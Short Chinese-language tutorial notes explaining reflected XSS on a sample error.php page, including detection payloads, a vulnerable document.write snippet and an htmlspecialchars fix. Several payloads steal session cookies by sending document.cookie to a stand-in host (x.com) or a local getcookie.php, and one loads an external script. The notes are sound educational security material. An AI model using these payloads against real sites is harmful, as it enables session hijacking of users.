反射型XSS漏洞由於這種漏洞需要一個包含Javascript的的請求,這些請求又被反射到提交請求的用戶,所以成為反射型XSS
實例:動態頁面向用戶顯示消息xxx.com/error.php?message=sorry%2c+an+error+ocurred
判斷 xxx.com/error.php?message=<script>alert(‘xss’)</script>
利用漏洞
最常見的利用方式,會話劫持(cookie截獲)
用戶登錄的時候會得到一個cookie,以下代碼:
xss.com/error.php?message=<script>var+i=new+Image;+i.src=”http://x.com/“%2bdocument.cookie;</script>
包含的代碼為:
<scirpt>
var i=new Image;
i.src=" http://x.com/"+document.cookie ;
</script>
這是一個簡易的盜取cookie代碼,攻擊者監控其x.com收到的請求,便可得知用戶的cookie(改良的該代碼可以發送cookie到郵箱或頁面)
假如error.php包含以下內容:
<script type="text/javascript">
var a = document.URL;
a = unescape(a);
document.write(a.substring(a.indexOf("message=")+8,a.lentth));
</script>
攻擊者繼續提交 .com/error.php?message=<script>alert(‘xss’)</script> 即可觸發漏洞
漏洞測試:<SCRIPT>a=/XSS/;alert(a.source);</SCRIPT>
漏洞演示:<script>var i=new Image;i.src="http://127.0.0.1/getcookie.php?c="%2bdocument.cookie;</script>
漏洞修補:使用htmlspecialchars函數過濾
$_POST $_GET $_COOKIE
http://127.0.0.1/114/url-submit/
<script src=http://127.0.0.1/114la.js></script>
課后了解